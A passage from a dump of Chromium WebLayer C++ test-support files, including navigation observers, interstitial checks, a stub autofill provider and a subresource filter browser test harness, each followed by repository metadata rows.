: nullptr;
}
// Returns true if a security interstitial of type |type| is currently showing
// in |tab|.
bool IsShowingInterstitialOfType(
Tab* tab,
security_interstitials::SecurityInterstitialPage::TypeID type) {
auto* blocking_page = GetCurrentlyShowingInterstitial(tab);
if (!blocking_page)
return false;
return blocking_page->GetTypeForTesting() == type;
}
} // namespace
bool IsShowingSecurityInterstitial(Tab* tab) {
return GetCurrentlyShowingInterstitial(tab) != nullptr;
}
bool IsShowingSSLInterstitial(Tab* tab) {
return IsShowingInterstitialOfType(tab, SSLBlockingPage::kTypeForTesting);
}
bool IsShowingCaptivePortalInterstitial(Tab* tab) {
return IsShowingInterstitialOfType(
tab, CaptivePortalBlockingPage::kTypeForTesting);
}
bool IsShowingBadClockInterstitial(Tab* tab) {
return IsShowingInterstitialOfType(tab,
BadClockBlockingPage::kTypeForTesting);
}
bool IsShowingInsecureFormInterstitial(Tab* tab) {
return IsShowingInterstitialOfType(
tab, security_interstitials::InsecureFormBlockingPage::kTypeForTesting);
}
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/interstitial_utils.cc | C++ | unknown | 2,467 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef WEBLAYER_TEST_INTERSTITIAL_UTILS_H_
#define WEBLAYER_TEST_INTERSTITIAL_UTILS_H_
namespace weblayer {
class Tab;
// Contains utilities for aiding in testing an embedder's integration of
// WebLayer's interstitial functionality.
// Returns true iff a security interstitial is currently displaying in
// |tab|.
bool IsShowingSecurityInterstitial(Tab* tab);
// Returns true iff an SSL error-related interstitial is currently displaying in
// |tab|.
bool IsShowingSSLInterstitial(Tab* tab);
// Returns true iff a captive portal interstitial is currently displaying in
// |tab|.
bool IsShowingCaptivePortalInterstitial(Tab* tab);
// Returns true iff a bad clock interstitial is currently displaying in |tab|.
bool IsShowingBadClockInterstitial(Tab* tab);
// Returns true iff an insecure form interstitial is currently displaying in
// |tab|.
bool IsShowingInsecureFormInterstitial(Tab* tab);
} // namespace weblayer
#endif // WEBLAYER_TEST_INTERSTITIAL_UTILS_H_
| Zhao-PengFei35/chromium_src_4 | weblayer/test/interstitial_utils.h | C++ | unknown | 1,120 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/load_completion_observer.h"
#include "weblayer/public/navigation_controller.h"
#include "weblayer/public/tab.h"
#include "weblayer/shell/browser/shell.h"
namespace weblayer {
LoadCompletionObserver::LoadCompletionObserver(Shell* shell)
: tab_(shell->tab()) {
tab_->GetNavigationController()->AddObserver(this);
}
LoadCompletionObserver::~LoadCompletionObserver() {
tab_->GetNavigationController()->RemoveObserver(this);
}
void LoadCompletionObserver::LoadStateChanged(bool is_loading,
bool should_show_loading_ui) {
if (!is_loading)
run_loop_.Quit();
}
void LoadCompletionObserver::Wait() {
run_loop_.Run();
}
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/load_completion_observer.cc | C++ | unknown | 872 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef WEBLAYER_TEST_LOAD_COMPLETION_OBSERVER_H_
#define WEBLAYER_TEST_LOAD_COMPLETION_OBSERVER_H_
#include "base/memory/raw_ptr.h"
#include "base/run_loop.h"
#include "weblayer/public/navigation_observer.h"
namespace weblayer {
class Shell;
class Tab;
// A helper that waits for the next load to complete.
class LoadCompletionObserver : public NavigationObserver {
public:
// Creates an instance that begins waiting for a load within |shell| to
// complete.
explicit LoadCompletionObserver(Shell* shell);
LoadCompletionObserver(const LoadCompletionObserver&) = delete;
LoadCompletionObserver& operator=(const LoadCompletionObserver&) = delete;
~LoadCompletionObserver() override;
// Spins a RunLoop until the next load completes.
void Wait();
private:
// NavigationObserver implementation:
void LoadStateChanged(bool is_loading, bool should_show_loading_ui) override;
raw_ptr<Tab> tab_;
base::RunLoop run_loop_;
};
} // namespace weblayer
#endif // WEBLAYER_TEST_LOAD_COMPLETION_OBSERVER_H_
| Zhao-PengFei35/chromium_src_4 | weblayer/test/load_completion_observer.h | C++ | unknown | 1,176 |
// Copyright 2020 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/functional/bind.h"
#include "base/test/launcher/unit_test_launcher.h"
#include "content/public/test/content_test_suite_base.h"
#include "content/public/test/unittest_test_suite.h"
#include "weblayer/browser/content_browser_client_impl.h"
#include "weblayer/common/content_client_impl.h"
namespace weblayer {
namespace {
std::unique_ptr<content::UnitTestTestSuite::ContentClients>
CreateContentClients() {
auto clients = std::make_unique<content::UnitTestTestSuite::ContentClients>();
clients->content_client = std::make_unique<ContentClientImpl>();
clients->content_browser_client =
std::make_unique<ContentBrowserClientImpl>(nullptr);
return clients;
}
} // namespace
class WebLayerTestSuite : public content::ContentTestSuiteBase {
public:
WebLayerTestSuite(int argc, char** argv) : ContentTestSuiteBase(argc, argv) {}
~WebLayerTestSuite() override = default;
WebLayerTestSuite(const WebLayerTestSuite&) = delete;
WebLayerTestSuite& operator=(const WebLayerTestSuite&) = delete;
void Initialize() override {
InitializeResourceBundle();
ContentTestSuiteBase::Initialize();
}
};
} // namespace weblayer
int main(int argc, char** argv) {
content::UnitTestTestSuite test_suite(
new weblayer::WebLayerTestSuite(argc, argv),
base::BindRepeating(weblayer::CreateContentClients));
return base::LaunchUnitTests(argc, argv,
base::BindOnce(&content::UnitTestTestSuite::Run,
base::Unretained(&test_suite)));
}
| Zhao-PengFei35/chromium_src_4 | weblayer/test/run_all_unittests.cc | C++ | unknown | 1,697 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/stub_autofill_provider.h"
namespace weblayer {
StubAutofillProvider::StubAutofillProvider(
content::WebContents* web_contents,
const base::RepeatingCallback<void(const autofill::FormData&)>&
on_received_form_data)
: autofill::TestAutofillProvider(web_contents),
on_received_form_data_(on_received_form_data) {}
StubAutofillProvider::~StubAutofillProvider() = default;
void StubAutofillProvider::OnAskForValuesToFill(
autofill::AndroidAutofillManager* manager,
const autofill::FormData& form,
const autofill::FormFieldData& field,
const gfx::RectF& bounding_box,
autofill::AutoselectFirstSuggestion /*unused_autoselect_first_suggestion*/,
autofill::FormElementWasClicked /*unused_form_element_was_clicked*/) {
on_received_form_data_.Run(form);
}
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/stub_autofill_provider.cc | C++ | unknown | 995 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef WEBLAYER_TEST_STUB_AUTOFILL_PROVIDER_H_
#define WEBLAYER_TEST_STUB_AUTOFILL_PROVIDER_H_
#include "base/functional/callback_forward.h"
#include "components/android_autofill/browser/test_autofill_provider.h"
#include "content/public/browser/web_contents.h"
namespace weblayer {
// A stub AutofillProvider implementation that is used in cross-platform
// integration tests of renderer-side autofill detection and communication to
// the browser.
class StubAutofillProvider : public autofill::TestAutofillProvider {
public:
// WebContents takes the ownership of StubAutofillProvider.
explicit StubAutofillProvider(
content::WebContents* web_contents,
const base::RepeatingCallback<void(const autofill::FormData&)>&
on_received_form_data);
StubAutofillProvider(const StubAutofillProvider&) = delete;
StubAutofillProvider& operator=(const StubAutofillProvider&) = delete;
~StubAutofillProvider() override;
// AutofillProvider:
void OnAskForValuesToFill(
autofill::AndroidAutofillManager* manager,
const autofill::FormData& form,
const autofill::FormFieldData& field,
const gfx::RectF& bounding_box,
autofill::
AutoselectFirstSuggestion /*unused_autoselect_first_suggestion*/,
autofill::FormElementWasClicked /*unused_form_element_was_clicked*/)
override;
private:
base::RepeatingCallback<void(const autofill::FormData&)>
on_received_form_data_;
};
} // namespace weblayer
#endif // WEBLAYER_TEST_STUB_AUTOFILL_PROVIDER_H_
| Zhao-PengFei35/chromium_src_4 | weblayer/test/stub_autofill_provider.h | C++ | unknown | 1,677 |
// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/subresource_filter_browser_test_harness.h"
#include "build/build_config.h"
#include "components/heavy_ad_intervention/heavy_ad_service.h"
#include "components/subresource_filter/content/browser/content_subresource_filter_throttle_manager.h"
#include "components/subresource_filter/content/browser/content_subresource_filter_web_contents_helper.h"
#include "components/subresource_filter/content/browser/fake_safe_browsing_database_manager.h"
#include "components/subresource_filter/content/browser/ruleset_service.h"
#include "components/subresource_filter/content/browser/test_ruleset_publisher.h"
#include "components/subresource_filter/core/browser/subresource_filter_features.h"
#include "net/dns/mock_host_resolver.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "weblayer/browser/browser_process.h"
#include "weblayer/browser/heavy_ad_service_factory.h"
#include "weblayer/browser/tab_impl.h"
#include "weblayer/shell/browser/shell.h"
#include "weblayer/test/weblayer_browser_test_utils.h"
namespace weblayer {
namespace {
// Waits for the subresource filter ruleset data to be published as part of
// WebLayer startup. Returns immediately if ruleset data has already been
// published.
void WaitForSubresourceFilterRulesetDataToBePublished() {
auto* ruleset_service =
BrowserProcess::GetInstance()->subresource_filter_ruleset_service();
if (!ruleset_service->GetMostRecentlyIndexedVersion().IsValid()) {
base::RunLoop run_loop;
ruleset_service->SetRulesetPublishedCallbackForTesting(
run_loop.QuitClosure());
run_loop.Run();
}
}
// Waits for the heavy ad blocklist data to be loaded as part of
// WebLayer startup.
void WaitForHeavyAdBlocklistToBeLoaded(content::WebContents* web_contents) {
auto* heavy_ad_service = HeavyAdServiceFactory::GetForBrowserContext(
web_contents->GetBrowserContext());
base::RunLoop run_loop;
heavy_ad_service->NotifyOnBlocklistLoaded(run_loop.QuitClosure());
run_loop.Run();
}
#if !BUILDFLAG(IS_ANDROID)
// Installs a fake database manager so that the safe browsing activation
// throttle will be created (WebLayer currently has a safe browsing database
// available in production only on Android).
void InstallFakeSafeBrowsingDatabaseManagerInWebContents(
content::WebContents* web_contents) {
scoped_refptr<FakeSafeBrowsingDatabaseManager> database_manager =
base::MakeRefCounted<FakeSafeBrowsingDatabaseManager>();
subresource_filter::ContentSubresourceFilterWebContentsHelper::
FromWebContents(web_contents)
->SetDatabaseManagerForTesting(std::move(database_manager));
}
#endif
} // namespace
SubresourceFilterBrowserTest::SubresourceFilterBrowserTest() {
feature_list_.InitAndEnableFeature(
subresource_filter::kAdsInterventionsEnforced);
}
SubresourceFilterBrowserTest::~SubresourceFilterBrowserTest() = default;
void SubresourceFilterBrowserTest::SetUpOnMainThread() {
// Wait for the initial publishing of production data that occurs as part of
// startup to complete. This is crucial for tests that inject test ruleset
// data and wait for it to be published via TestRulesetPublisher: if the
// initial publishing is still in process when those tests start running,
// they can end up incorrectly proceeding on the publishing of the
// production data rather than their test data.
WaitForSubresourceFilterRulesetDataToBePublished();
// Wait for the heavy ad blocklist loading that occurs as part of ProfileImpl
// creation to complete. This is crucial for tests of heavy ad interventions:
// if the blocklist isn't loaded all hosts are treated as blocklisted, which
// interferes with the operation of those tests.
WaitForHeavyAdBlocklistToBeLoaded(web_contents());
#if !BUILDFLAG(IS_ANDROID)
// Install a fake database manager so that the safe browsing activation
// throttle will be created, as that throttle is a core requirement for the
// operation of the subresource filter.
InstallFakeSafeBrowsingDatabaseManagerInWebContents(web_contents());
#endif
embedded_test_server()->ServeFilesFromSourceDirectory("components/test/data");
// This test suite does "cross-site" navigations to various domains that
// must all resolve to localhost.
host_resolver()->AddRule("*", "127.0.0.1");
if (StartEmbeddedTestServerAutomatically())
ASSERT_TRUE(embedded_test_server()->Start());
}
void SubresourceFilterBrowserTest::SetRulesetToDisallowURLsWithPathSuffix(
const std::string& suffix) {
subresource_filter::testing::TestRulesetPair test_ruleset_pair;
test_ruleset_creator_.CreateRulesetToDisallowURLsWithPathSuffix(
suffix, &test_ruleset_pair);
subresource_filter::testing::TestRulesetPublisher test_ruleset_publisher(
BrowserProcess::GetInstance()->subresource_filter_ruleset_service());
ASSERT_NO_FATAL_FAILURE(
test_ruleset_publisher.SetRuleset(test_ruleset_pair.unindexed));
}
void SubresourceFilterBrowserTest::SetRulesetWithRules(
const std::vector<url_pattern_index::proto::UrlRule>& rules) {
subresource_filter::testing::TestRulesetPair test_ruleset_pair;
test_ruleset_creator_.CreateRulesetWithRules(rules, &test_ruleset_pair);
subresource_filter::testing::TestRulesetPublisher test_ruleset_publisher(
BrowserProcess::GetInstance()->subresource_filter_ruleset_service());
ASSERT_NO_FATAL_FAILURE(
test_ruleset_publisher.SetRuleset(test_ruleset_pair.unindexed));
}
content::WebContents* SubresourceFilterBrowserTest::web_contents() {
return static_cast<TabImpl*>(shell()->tab())->web_contents();
}
bool SubresourceFilterBrowserTest::WasParsedScriptElementLoaded(
content::RenderFrameHost* rfh) {
DCHECK(rfh);
bool script_resource_was_loaded = false;
EXPECT_TRUE(content::ExecuteScriptAndExtractBool(
rfh, "domAutomationController.send(!!document.scriptExecuted)",
&script_resource_was_loaded));
return script_resource_was_loaded;
}
bool SubresourceFilterBrowserTest::StartEmbeddedTestServerAutomatically() {
return true;
}
subresource_filter::ContentSubresourceFilterThrottleManager*
SubresourceFilterBrowserTest::GetPrimaryPageThrottleManager() {
return subresource_filter::ContentSubresourceFilterThrottleManager::FromPage(
web_contents()->GetPrimaryPage());
}
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/subresource_filter_browser_test_harness.cc | C++ | unknown | 6,466 |
// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef WEBLAYER_TEST_SUBRESOURCE_FILTER_BROWSER_TEST_HARNESS_H_
#define WEBLAYER_TEST_SUBRESOURCE_FILTER_BROWSER_TEST_HARNESS_H_
#include <string>
#include <vector>
#include "base/test/scoped_feature_list.h"
#include "build/build_config.h"
#include "components/subresource_filter/core/common/test_ruleset_creator.h"
#include "components/url_pattern_index/proto/rules.pb.h"
#include "weblayer/test/weblayer_browser_test.h"
namespace content {
class WebContents;
}
namespace subresource_filter {
class ContentSubresourceFilterThrottleManager;
}
namespace weblayer {
// A base class for //weblayer browsertests that directly test or rely on
// subresource filter functionality.
class SubresourceFilterBrowserTest : public WebLayerBrowserTest {
public:
SubresourceFilterBrowserTest();
~SubresourceFilterBrowserTest() override;
SubresourceFilterBrowserTest(const SubresourceFilterBrowserTest&) = delete;
SubresourceFilterBrowserTest& operator=(const SubresourceFilterBrowserTest&) =
delete;
void SetUpOnMainThread() override;
protected:
void SetRulesetToDisallowURLsWithPathSuffix(const std::string& suffix);
void SetRulesetWithRules(
const std::vector<url_pattern_index::proto::UrlRule>& rules);
content::WebContents* web_contents();
// Returns whether a script resource that sets document.scriptExecuted to true
// on load was loaded.
bool WasParsedScriptElementLoaded(content::RenderFrameHost* rfh);
// By default SubresourceFilterBrowsertest starts the embedded test server in
// SetUpOnMainThread(). Tests that wish to control the starting of the
// embedded test server themselves should override this method to return
// false.
virtual bool StartEmbeddedTestServerAutomatically();
// The ContentSubresourceFilterthrottleManager class is per-page, meaning
// each Page object will create its own instance. This method returns the
// throttle manager associated with the currently primary Page in the
// web_contents() (i.e. the one the user is currently seeing and interacting
// with, as opposed to a prerendering or BFCached page).
subresource_filter::ContentSubresourceFilterThrottleManager*
GetPrimaryPageThrottleManager();
private:
subresource_filter::testing::TestRulesetCreator test_ruleset_creator_;
base::test::ScopedFeatureList feature_list_;
};
} // namespace weblayer
#endif // WEBLAYER_TEST_SUBRESOURCE_FILTER_BROWSER_TEST_HARNESS_H_
| Zhao-PengFei35/chromium_src_4 | weblayer/test/subresource_filter_browser_test_harness.h | C++ | unknown | 2,576 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/test_launcher_delegate_impl.h"
#include "base/command_line.h"
#include "base/test/test_suite.h"
#include "build/build_config.h"
#include "weblayer/app/content_main_delegate_impl.h"
#include "weblayer/public/common/switches.h"
#include "weblayer/shell/app/shell_main_params.h"
namespace weblayer {
int TestLauncherDelegateImpl::RunTestSuite(int argc, char** argv) {
base::TestSuite test_suite(argc, argv);
// Browser tests are expected not to tear-down various globals.
test_suite.DisableCheckForLeakedGlobals();
return test_suite.Run();
}
std::string TestLauncherDelegateImpl::GetUserDataDirectoryCommandLineSwitch() {
return switches::kWebEngineUserDataDir;
}
#if !BUILDFLAG(IS_ANDROID)
content::ContentMainDelegate*
TestLauncherDelegateImpl::CreateContentMainDelegate() {
return new ContentMainDelegateImpl(CreateMainParams());
}
#endif
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/test_launcher_delegate_impl.cc | C++ | unknown | 1,050 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef WEBLAYER_TEST_TEST_LAUNCHER_DELEGATE_IMPL_H_
#define WEBLAYER_TEST_TEST_LAUNCHER_DELEGATE_IMPL_H_
#include "build/build_config.h"
#include "content/public/test/test_launcher.h"
namespace weblayer {
class TestLauncherDelegateImpl : public content::TestLauncherDelegate {
public:
int RunTestSuite(int argc, char** argv) override;
std::string GetUserDataDirectoryCommandLineSwitch() override;
#if !BUILDFLAG(IS_ANDROID)
content::ContentMainDelegate* CreateContentMainDelegate() override;
#endif
};
} // namespace weblayer
#endif // WEBLAYER_TEST_TEST_LAUNCHER_DELEGATE_IMPL_H_
| Zhao-PengFei35/chromium_src_4 | weblayer/test/test_launcher_delegate_impl.h | C++ | unknown | 740 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/test_navigation_observer.h"
#include "base/test/bind.h"
#include "url/gurl.h"
#include "weblayer/public/navigation.h"
#include "weblayer/public/navigation_controller.h"
#include "weblayer/public/tab.h"
#include "weblayer/shell/browser/shell.h"
namespace weblayer {
TestNavigationObserver::TestNavigationObserver(const GURL& url,
NavigationEvent target_event,
Shell* shell)
: TestNavigationObserver(url, target_event, shell->tab()) {}
TestNavigationObserver::TestNavigationObserver(const GURL& url,
NavigationEvent target_event,
Tab* tab)
: url_(url), target_event_(target_event), tab_(tab) {
tab_->GetNavigationController()->AddObserver(this);
}
TestNavigationObserver::~TestNavigationObserver() {
tab_->GetNavigationController()->RemoveObserver(this);
}
void TestNavigationObserver::NavigationStarted(Navigation* navigation) {
// Note: We don't go through CheckNavigationCompleted() here as that waits
// for the load to be complete, which isn't appropriate when just waiting for
// the navigation to be started.
if (navigation->GetURL() == url_ &&
target_event_ == NavigationEvent::kStart) {
run_loop_.Quit();
}
}
void TestNavigationObserver::NavigationCompleted(Navigation* navigation) {
if (navigation->GetURL() == url_)
observed_event_ = NavigationEvent::kCompletion;
CheckNavigationCompleted();
}
void TestNavigationObserver::NavigationFailed(Navigation* navigation) {
if (navigation->GetURL() == url_)
observed_event_ = NavigationEvent::kFailure;
CheckNavigationCompleted();
}
void TestNavigationObserver::LoadStateChanged(bool is_loading,
bool should_show_loading_ui) {
done_loading_ = !is_loading;
CheckNavigationCompleted();
}
void TestNavigationObserver::CheckNavigationCompleted() {
if (done_loading_ && observed_event_ == target_event_)
run_loop_.Quit();
}
void TestNavigationObserver::Wait() {
run_loop_.Run();
}
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/test_navigation_observer.cc | C++ | unknown | 2,326 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef WEBLAYER_TEST_TEST_NAVIGATION_OBSERVER_H_
#define WEBLAYER_TEST_TEST_NAVIGATION_OBSERVER_H_
#include "base/memory/raw_ptr.h"
#include "base/run_loop.h"
#include "third_party/abseil-cpp/absl/types/optional.h"
#include "url/gurl.h"
#include "weblayer/public/navigation_observer.h"
namespace weblayer {
class Shell;
class Tab;
// A helper that waits for a navigation to finish.
class TestNavigationObserver : public NavigationObserver {
public:
enum class NavigationEvent { kStart, kCompletion, kFailure };
// Creates an instance that begins waiting for a Navigation within |shell| and
// to |url| to reach the specified |target_event|.
TestNavigationObserver(const GURL& url,
NavigationEvent target_event,
Shell* shell);
TestNavigationObserver(const GURL& url,
NavigationEvent target_event,
Tab* tab);
TestNavigationObserver(const TestNavigationObserver&) = delete;
TestNavigationObserver& operator=(const TestNavigationObserver&) = delete;
~TestNavigationObserver() override;
// Spins a RunLoop until the requested type of navigation event is observed.
void Wait();
private:
// NavigationObserver implementation:
void NavigationStarted(Navigation* navigation) override;
void NavigationCompleted(Navigation* navigation) override;
void NavigationFailed(Navigation* navigation) override;
void LoadStateChanged(bool is_loading, bool should_show_loading_ui) override;
void CheckNavigationCompleted();
const GURL url_;
absl::optional<NavigationEvent> observed_event_;
NavigationEvent target_event_;
raw_ptr<Tab> tab_;
bool done_loading_ = false;
base::RunLoop run_loop_;
};
} // namespace weblayer
#endif // WEBLAYER_TEST_TEST_NAVIGATION_OBSERVER_H_
| Zhao-PengFei35/chromium_src_4 | weblayer/test/test_navigation_observer.h | C++ | unknown | 1,956 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/weblayer_browser_test.h"
#include "base/base_paths.h"
#include "base/command_line.h"
#include "components/embedder_support/switches.h"
#include "content/public/browser/browser_context.h"
#include "weblayer/browser/browser_context_impl.h"
#include "weblayer/browser/profile_impl.h"
#include "weblayer/browser/tab_impl.h"
#include "weblayer/common/features.h"
#include "weblayer/shell/browser/shell.h"
#include "weblayer/shell/common/shell_switches.h"
namespace weblayer {
WebLayerBrowserTest::WebLayerBrowserTest() {
CreateTestServer(base::FilePath(FILE_PATH_LITERAL("weblayer/test/data")));
}
WebLayerBrowserTest::~WebLayerBrowserTest() = default;
void WebLayerBrowserTest::SetUp() {
base::CommandLine* command_line = base::CommandLine::ForCurrentProcess();
command_line->AppendSwitch(switches::kNoInitialNavigation);
// Disable auto reload since most browser tests do not expect error pages to
// reload automatically. Tests that want auto reload can explicitly append
// embedder_support::kEnableAutoReload, which will override the disable here.
command_line->AppendSwitch(embedder_support::kDisableAutoReload);
if (start_in_incognito_mode_)
command_line->AppendSwitch(switches::kStartInIncognito);
SetUpCommandLine(command_line);
content::BrowserTestBase::SetUp();
}
void WebLayerBrowserTest::PreRunTestOnMainThread() {
ASSERT_EQ(Shell::windows().size(), 1u);
shell_ = Shell::windows()[0];
// Don't fill machine's download directory from tests; instead place downloads
// in the temporary user-data-dir for this test.
auto* tab_impl = static_cast<TabImpl*>(shell_->tab());
auto* browser_context = tab_impl->web_contents()->GetBrowserContext();
auto* browser_context_impl =
static_cast<BrowserContextImpl*>(browser_context);
browser_context_impl->profile_impl()->SetDownloadDirectory(
browser_context->GetPath());
// Accessing a browser context may involve storage partition initialization.
// Wait for the initialization to be completed.
base::RunLoop().RunUntilIdle();
}
void WebLayerBrowserTest::PostRunTestOnMainThread() {
Shell::CloseAllWindows();
}
void WebLayerBrowserTest::SetShellStartsInIncognitoMode() {
DCHECK(!set_up_called());
start_in_incognito_mode_ = true;
}
ProfileImpl* WebLayerBrowserTest::GetProfile() {
return static_cast<TabImpl*>(shell_->tab())->profile();
}
content::BrowserContext* WebLayerBrowserTest::GetBrowserContext() {
return GetProfile()->GetBrowserContext();
}
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/weblayer_browser_test.cc | C++ | unknown | 2,673 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef WEBLAYER_TEST_WEBLAYER_BROWSER_TEST_H_
#define WEBLAYER_TEST_WEBLAYER_BROWSER_TEST_H_
#include "base/memory/raw_ptr.h"
#include "content/public/test/browser_test.h"
#include "content/public/test/browser_test_base.h"
namespace content {
class BrowserContext;
}
namespace weblayer {
class ProfileImpl;
class Shell;
class WebLayerBrowserTest : public content::BrowserTestBase {
public:
WebLayerBrowserTest();
WebLayerBrowserTest(const WebLayerBrowserTest&) = delete;
WebLayerBrowserTest& operator=(const WebLayerBrowserTest&) = delete;
~WebLayerBrowserTest() override;
// content::BrowserTestBase implementation.
void SetUp() override;
void PreRunTestOnMainThread() override;
void PostRunTestOnMainThread() override;
// Configures this object such that when it starts the shell it does so in
// incognito mode. Must be invoked before SetUp() has been called.
void SetShellStartsInIncognitoMode();
// Returns the window for the test.
Shell* shell() const { return shell_; }
ProfileImpl* GetProfile();
content::BrowserContext* GetBrowserContext();
private:
raw_ptr<Shell> shell_ = nullptr;
bool start_in_incognito_mode_ = false;
};
} // namespace weblayer
#endif // WEBLAYER_TEST_WEBLAYER_BROWSER_TEST_H_
| Zhao-PengFei35/chromium_src_4 | weblayer/test/weblayer_browser_test.h | C++ | unknown | 1,403 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/weblayer_browser_test.h"
#include "net/test/embedded_test_server/embedded_test_server.h"
#include "weblayer/test/weblayer_browser_test_utils.h"
namespace weblayer {
IN_PROC_BROWSER_TEST_F(WebLayerBrowserTest, Basic) {
ASSERT_TRUE(embedded_test_server()->Start());
GURL url = embedded_test_server()->GetURL("/simple_page.html");
NavigateAndWaitForCompletion(url, shell());
}
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/weblayer_browser_test_test.cc | C++ | unknown | 578 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/weblayer_browser_test_utils.h"
#include "base/run_loop.h"
#include "base/strings/utf_string_conversions.h"
#include "base/test/bind.h"
#include "build/build_config.h"
#include "components/subresource_filter/content/browser/content_subresource_filter_web_contents_helper.h"
#include "components/subresource_filter/content/browser/fake_safe_browsing_database_manager.h"
#include "url/gurl.h"
#include "weblayer/browser/browser_process.h"
#include "weblayer/browser/tab_impl.h"
#include "weblayer/public/navigation_controller.h"
#include "weblayer/public/tab.h"
#include "weblayer/shell/browser/shell.h"
#include "weblayer/test/test_navigation_observer.h"
#if BUILDFLAG(IS_ANDROID)
#include "weblayer/test/stub_autofill_provider.h"
#endif // BUILDFLAG(IS_ANDROID)
namespace weblayer {
namespace {
// Navigates to |url| in |tab| and waits for |event| to occur.
void NavigateAndWaitForEvent(const GURL& url,
Tab* tab,
TestNavigationObserver::NavigationEvent event) {
TestNavigationObserver test_observer(url, event, tab);
tab->GetNavigationController()->Navigate(url);
test_observer.Wait();
}
} // namespace
void NavigateAndWaitForCompletion(const GURL& url, Shell* shell) {
NavigateAndWaitForEvent(url, shell->tab(),
TestNavigationObserver::NavigationEvent::kCompletion);
}
void NavigateAndWaitForCompletion(const GURL& url, Tab* tab) {
NavigateAndWaitForEvent(url, tab,
TestNavigationObserver::NavigationEvent::kCompletion);
}
void NavigateAndWaitForFailure(const GURL& url, Shell* shell) {
NavigateAndWaitForEvent(url, shell->tab(),
TestNavigationObserver::NavigationEvent::kFailure);
}
void NavigateAndWaitForStart(const GURL& url, Tab* tab) {
NavigateAndWaitForEvent(url, tab,
TestNavigationObserver::NavigationEvent::kStart);
}
base::Value ExecuteScript(Shell* shell,
const std::string& script,
bool use_separate_isolate) {
return ExecuteScript(shell->tab(), script, use_separate_isolate);
}
base::Value ExecuteScript(Tab* tab,
const std::string& script,
bool use_separate_isolate) {
base::Value final_result;
base::RunLoop run_loop;
tab->ExecuteScript(base::ASCIIToUTF16(script), use_separate_isolate,
base::BindLambdaForTesting(
[&run_loop, &final_result](base::Value result) {
final_result = std::move(result);
run_loop.Quit();
}));
run_loop.Run();
return final_result;
}
void ExecuteScriptWithUserGesture(Shell* shell, const std::string& script) {
ExecuteScriptWithUserGesture(shell->tab(), script);
}
void ExecuteScriptWithUserGesture(Tab* tab, const std::string& script) {
TabImpl* tab_impl = static_cast<TabImpl*>(tab);
tab_impl->ExecuteScriptWithUserGestureForTests(base::ASCIIToUTF16(script));
}
const std::u16string& GetTitle(Shell* shell) {
TabImpl* tab_impl = static_cast<TabImpl*>(shell->tab());
return tab_impl->web_contents()->GetTitle();
}
#if BUILDFLAG(IS_ANDROID)
void InitializeAutofillWithEventForwarding(
Shell* shell,
const base::RepeatingCallback<void(const autofill::FormData&)>&
on_received_form_data) {
TabImpl* tab_impl = static_cast<TabImpl*>(shell->tab());
new StubAutofillProvider(tab_impl->web_contents(), on_received_form_data);
tab_impl->InitializeAutofillForTests();
}
#endif // BUILDFLAG(IS_ANDROID)
void ActivateSubresourceFilterInWebContentsForURL(
content::WebContents* web_contents,
const GURL& url) {
scoped_refptr<FakeSafeBrowsingDatabaseManager> database_manager =
base::MakeRefCounted<FakeSafeBrowsingDatabaseManager>();
database_manager->AddBlocklistedUrl(
url, safe_browsing::SB_THREAT_TYPE_URL_PHISHING);
subresource_filter::ContentSubresourceFilterWebContentsHelper::
FromWebContents(web_contents)
->SetDatabaseManagerForTesting(std::move(database_manager));
}
OneShotNavigationObserver::OneShotNavigationObserver(Shell* shell)
: tab_(shell->tab()) {
tab_->GetNavigationController()->AddObserver(this);
}
OneShotNavigationObserver::~OneShotNavigationObserver() {
tab_->GetNavigationController()->RemoveObserver(this);
}
void OneShotNavigationObserver::WaitForNavigation() {
run_loop_.Run();
}
void OneShotNavigationObserver::NavigationStarted(Navigation* navigation) {
is_page_initiated_ = navigation->IsPageInitiated();
}
void OneShotNavigationObserver::NavigationCompleted(Navigation* navigation) {
completed_ = true;
Finish(navigation);
}
void OneShotNavigationObserver::NavigationFailed(Navigation* navigation) {
Finish(navigation);
}
void OneShotNavigationObserver::Finish(Navigation* navigation) {
is_error_page_ = navigation->IsErrorPage();
is_download_ = navigation->IsDownload();
is_reload_ = navigation->IsReload();
